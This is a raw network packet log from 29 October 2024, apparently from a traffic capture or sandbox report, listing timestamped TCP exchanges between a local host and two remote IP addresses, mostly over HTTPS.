Oct 29, 2024 20:38:01.379918098 CET	49793	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:01.379923105 CET	443	49793	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:01.382801056 CET	49798	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:01.382860899 CET	443	49798	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:01.382953882 CET	49798	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:01.383138895 CET	49798	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:01.383156061 CET	443	49798	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:01.493776083 CET	443	49795	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:01.493932009 CET	443	49795	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:01.494014025 CET	49795	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:01.494096994 CET	49795	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:01.494107962 CET	443	49795	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:01.494112015 CET	49795	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:01.494116068 CET	443	49795	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:01.496766090 CET	49799	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:01.496817112 CET	443	49799	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:01.496897936 CET	49799	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:01.497165918 CET	49799	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:01.497179031 CET	443	49799	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:01.535643101 CET	443	49794	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:01.535784006 CET	443	49794	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:01.535957098 CET	49794	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:01.536118984 CET	49794	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:01.536144972 CET	443	49794	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:01.536156893 CET	49794	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:01.536164045 CET	443	49794	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:01.539050102 CET	49800	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:01.539087057 CET	443	49800	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:01.539263964 CET	49800	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:01.539320946 CET	49800	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:01.539331913 CET	443	49800	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:01.880811930 CET	443	49796	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:01.881527901 CET	49796	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:01.881551981 CET	443	49796	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:01.881926060 CET	49796	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:01.881931067 CET	443	49796	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:02.012767076 CET	443	49796	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:02.012902021 CET	443	49796	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:02.012995958 CET	49796	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:02.013199091 CET	49796	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:02.013226032 CET	443	49796	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:02.013238907 CET	49796	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:02.013245106 CET	443	49796	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:02.016271114 CET	49801	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:02.016326904 CET	443	49801	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:02.016495943 CET	49801	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:02.016664028 CET	49801	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:02.016674042 CET	443	49801	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:02.068253040 CET	443	49797	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:02.068851948 CET	49797	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:02.068867922 CET	443	49797	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:02.069305897 CET	49797	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:02.069310904 CET	443	49797	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:02.114934921 CET	443	49798	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:02.115497112 CET	49798	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:02.115540028 CET	443	49798	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:02.116044044 CET	49798	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:02.116050959 CET	443	49798	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:02.203726053 CET	443	49797	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:02.204247952 CET	443	49797	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:02.204518080 CET	49797	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:02.204557896 CET	49797	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:02.204557896 CET	49797	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:02.204581022 CET	443	49797	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:02.204586983 CET	443	49797	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:02.207495928 CET	49802	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:02.207539082 CET	443	49802	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:02.207638979 CET	49802	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:02.208313942 CET	49802	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:02.208328962 CET	443	49802	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:02.245301962 CET	443	49799	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:02.246095896 CET	49799	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:02.246117115 CET	443	49799	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:02.246551037 CET	49799	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:02.246557951 CET	443	49799	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:02.561091900 CET	443	49798	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:02.561180115 CET	443	49798	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:02.561304092 CET	49798	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:02.561558008 CET	49798	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:02.561558008 CET	49798	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:02.561589003 CET	443	49798	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:02.561598063 CET	443	49798	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:02.562895060 CET	443	49799	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:02.562971115 CET	443	49799	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:02.563062906 CET	49799	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:02.563256025 CET	49799	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:02.563256025 CET	49799	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:02.563272953 CET	443	49799	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:02.563282967 CET	443	49799	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:02.564822912 CET	49803	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:02.564857960 CET	443	49803	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:02.564968109 CET	49803	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:02.565099001 CET	49803	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:02.565110922 CET	443	49803	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:02.565496922 CET	49804	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:02.565552950 CET	443	49804	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:02.565620899 CET	49804	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:02.565766096 CET	49804	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:02.565779924 CET	443	49804	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:02.567641020 CET	443	49800	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:02.568087101 CET	49800	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:02.568104029 CET	443	49800	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:02.568540096 CET	49800	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:02.568547010 CET	443	49800	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:02.696719885 CET	443	49800	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:02.696960926 CET	443	49800	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:02.697030067 CET	49800	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:02.697077036 CET	49800	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:02.697098017 CET	443	49800	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:02.697109938 CET	49800	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:02.697115898 CET	443	49800	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:02.699779987 CET	49805	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:02.699817896 CET	443	49805	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:02.700108051 CET	49805	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:02.700285912 CET	49805	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:02.700297117 CET	443	49805	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:02.773647070 CET	443	49801	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:02.774182081 CET	49801	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:02.774202108 CET	443	49801	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:02.774666071 CET	49801	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:02.774673939 CET	443	49801	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:02.907052994 CET	443	49801	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:02.907277107 CET	443	49801	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:02.907449961 CET	49801	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:02.907684088 CET	49801	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:02.907713890 CET	443	49801	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:02.907731056 CET	49801	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:02.907738924 CET	443	49801	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:02.910741091 CET	49806	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:02.910849094 CET	443	49806	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:02.910940886 CET	49806	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:02.911087990 CET	49806	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:02.911139965 CET	443	49806	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:03.039216995 CET	443	49802	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:03.039916992 CET	49802	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:03.039932966 CET	443	49802	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:03.040380955 CET	49802	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:03.040386915 CET	443	49802	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:03.171616077 CET	443	49802	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:03.171914101 CET	443	49802	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:03.172018051 CET	49802	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:03.172054052 CET	49802	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:03.172074080 CET	443	49802	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:03.172084093 CET	49802	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:03.172090054 CET	443	49802	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:03.175035954 CET	49807	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:03.175088882 CET	443	49807	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:03.175159931 CET	49807	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:03.175291061 CET	49807	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:03.175304890 CET	443	49807	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:03.290035963 CET	80	49776	107.175.130.36	192.168.2.4
Oct 29, 2024 20:38:03.290133953 CET	49776	80	192.168.2.4	107.175.130.36
Oct 29, 2024 20:38:03.298063040 CET	443	49803	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:03.298552036 CET	49803	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:03.298578978 CET	443	49803	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:03.299077034 CET	49803	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:03.299086094 CET	443	49803	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:03.305280924 CET	443	49804	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:03.305864096 CET	49804	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:03.305944920 CET	443	49804	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:03.306422949 CET	49804	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:03.306438923 CET	443	49804	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:03.426120996 CET	443	49803	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:03.426546097 CET	443	49803	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:03.426608086 CET	49803	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:03.426629066 CET	49803	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:03.426636934 CET	443	49803	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:03.426650047 CET	49803	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:03.426656008 CET	443	49803	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:03.429126024 CET	49808	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:03.429148912 CET	443	49808	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:03.429224968 CET	49808	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:03.429400921 CET	49808	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:03.429421902 CET	443	49808	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:03.436597109 CET	443	49804	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:03.437011003 CET	443	49804	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:03.437063932 CET	49804	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:03.437107086 CET	49804	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:03.437133074 CET	443	49804	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:03.437144041 CET	49804	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:03.437150002 CET	443	49804	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:03.439821959 CET	49809	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:03.439866066 CET	443	49809	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:03.439999104 CET	49809	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:03.440068007 CET	49809	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:03.440084934 CET	443	49809	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:03.457345963 CET	443	49805	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:03.457820892 CET	49805	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:03.457837105 CET	443	49805	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:03.458285093 CET	49805	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:03.458290100 CET	443	49805	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:03.588315010 CET	443	49805	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:03.588507891 CET	443	49805	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:03.588613033 CET	49805	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:03.591384888 CET	49805	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:03.591398954 CET	443	49805	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:03.591409922 CET	49805	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:03.591415882 CET	443	49805	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:03.594758987 CET	49810	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:03.594793081 CET	443	49810	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:03.594863892 CET	49810	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:03.595000029 CET	49810	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:03.595015049 CET	443	49810	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:03.647849083 CET	443	49806	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:03.648495913 CET	49806	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:03.648546934 CET	443	49806	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:03.649111986 CET	49806	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:03.649126053 CET	443	49806	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:03.777407885 CET	443	49806	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:03.777704954 CET	443	49806	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:03.777769089 CET	49806	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:03.789123058 CET	49806	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:03.789123058 CET	49806	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:03.789169073 CET	443	49806	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:03.789213896 CET	443	49806	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:03.792048931 CET	49811	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:03.792090893 CET	443	49811	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:03.792200089 CET	49811	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:03.792323112 CET	49811	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:03.792332888 CET	443	49811	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:03.909390926 CET	443	49807	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:03.911623955 CET	49807	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:03.911657095 CET	443	49807	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:03.912420034 CET	49807	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:03.912429094 CET	443	49807	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:04.040138960 CET	443	49807	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:04.040292025 CET	443	49807	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:04.040357113 CET	49807	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:04.040631056 CET	49807	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:04.040631056 CET	49807	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:04.040651083 CET	443	49807	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:04.040663958 CET	443	49807	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:04.043987036 CET	49812	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:04.044019938 CET	443	49812	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:04.044095993 CET	49812	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:04.044267893 CET	49812	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:04.044279099 CET	443	49812	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:04.162287951 CET	443	49808	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:04.169569969 CET	49808	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:04.169605017 CET	443	49808	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:04.171209097 CET	49808	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:04.171216965 CET	443	49808	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:04.171250105 CET	443	49809	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:04.172034979 CET	49809	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:04.172053099 CET	443	49809	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:04.172775984 CET	49809	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:04.172781944 CET	443	49809	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:04.296619892 CET	443	49808	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:04.296699047 CET	443	49808	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:04.296910048 CET	49808	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:04.300549030 CET	443	49809	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:04.300924063 CET	443	49809	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:04.301001072 CET	49809	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:04.306406021 CET	49808	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:04.306433916 CET	443	49808	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:04.306448936 CET	49808	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:04.306457043 CET	443	49808	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:04.307110071 CET	49809	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:04.307110071 CET	49809	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:04.307141066 CET	443	49809	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:04.307152987 CET	443	49809	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:04.311264038 CET	49813	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:04.311378002 CET	443	49813	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:04.311470985 CET	49813	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:04.312145948 CET	49814	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:04.312191010 CET	443	49814	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:04.312242985 CET	49814	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:04.312496901 CET	49814	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:04.312510014 CET	443	49814	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:04.312727928 CET	49813	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:04.312768936 CET	443	49813	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:04.327898026 CET	443	49810	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:04.328505993 CET	49810	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:04.328522921 CET	443	49810	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:04.329438925 CET	49810	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:04.329446077 CET	443	49810	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:04.459192991 CET	443	49810	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:04.459454060 CET	443	49810	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:04.459511995 CET	49810	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:04.460051060 CET	49810	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:04.460073948 CET	443	49810	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:04.460089922 CET	49810	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:04.460097075 CET	443	49810	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:04.472218037 CET	49815	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:04.472318888 CET	443	49815	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:04.472407103 CET	49815	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:04.472579956 CET	49815	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:04.472604036 CET	443	49815	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:04.538125992 CET	443	49811	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:04.553217888 CET	49811	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:04.553242922 CET	443	49811	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:04.556485891 CET	49811	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:04.556493044 CET	443	49811	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:04.685359955 CET	443	49811	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:04.685575962 CET	443	49811	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:04.685643911 CET	49811	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:04.687333107 CET	49811	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:04.687356949 CET	443	49811	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:04.687405109 CET	49811	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:04.687411070 CET	443	49811	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:04.693162918 CET	49816	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:04.693208933 CET	443	49816	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:04.693306923 CET	49816	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:04.693568945 CET	49816	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:04.693583012 CET	443	49816	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:04.779119015 CET	443	49812	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:04.780235052 CET	49812	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:04.780266047 CET	443	49812	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:04.781248093 CET	49812	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:04.781258106 CET	443	49812	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:04.923052073 CET	443	49812	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:04.923146963 CET	443	49812	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:04.923227072 CET	49812	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:04.923397064 CET	49812	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:04.923413992 CET	443	49812	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:04.923424959 CET	49812	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:04.923430920 CET	443	49812	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:04.929035902 CET	49817	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:04.929131031 CET	443	49817	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:04.929317951 CET	49817	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:04.929506063 CET	49817	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:04.929538012 CET	443	49817	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:05.037969112 CET	443	49814	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:05.046763897 CET	49814	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:05.046796083 CET	443	49814	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:05.047665119 CET	49814	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:05.047676086 CET	443	49814	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:05.052257061 CET	443	49813	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:05.070276022 CET	49813	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:05.070317030 CET	443	49813	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:05.070777893 CET	49813	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:05.070790052 CET	443	49813	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:05.175596952 CET	443	49814	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:05.175673962 CET	443	49814	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:05.175733089 CET	49814	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:05.197348118 CET	443	49813	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:05.197489977 CET	443	49815	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:05.197654009 CET	443	49813	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:05.197722912 CET	49813	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:05.220259905 CET	49814	443	192.168.2.4	13.107.246.45
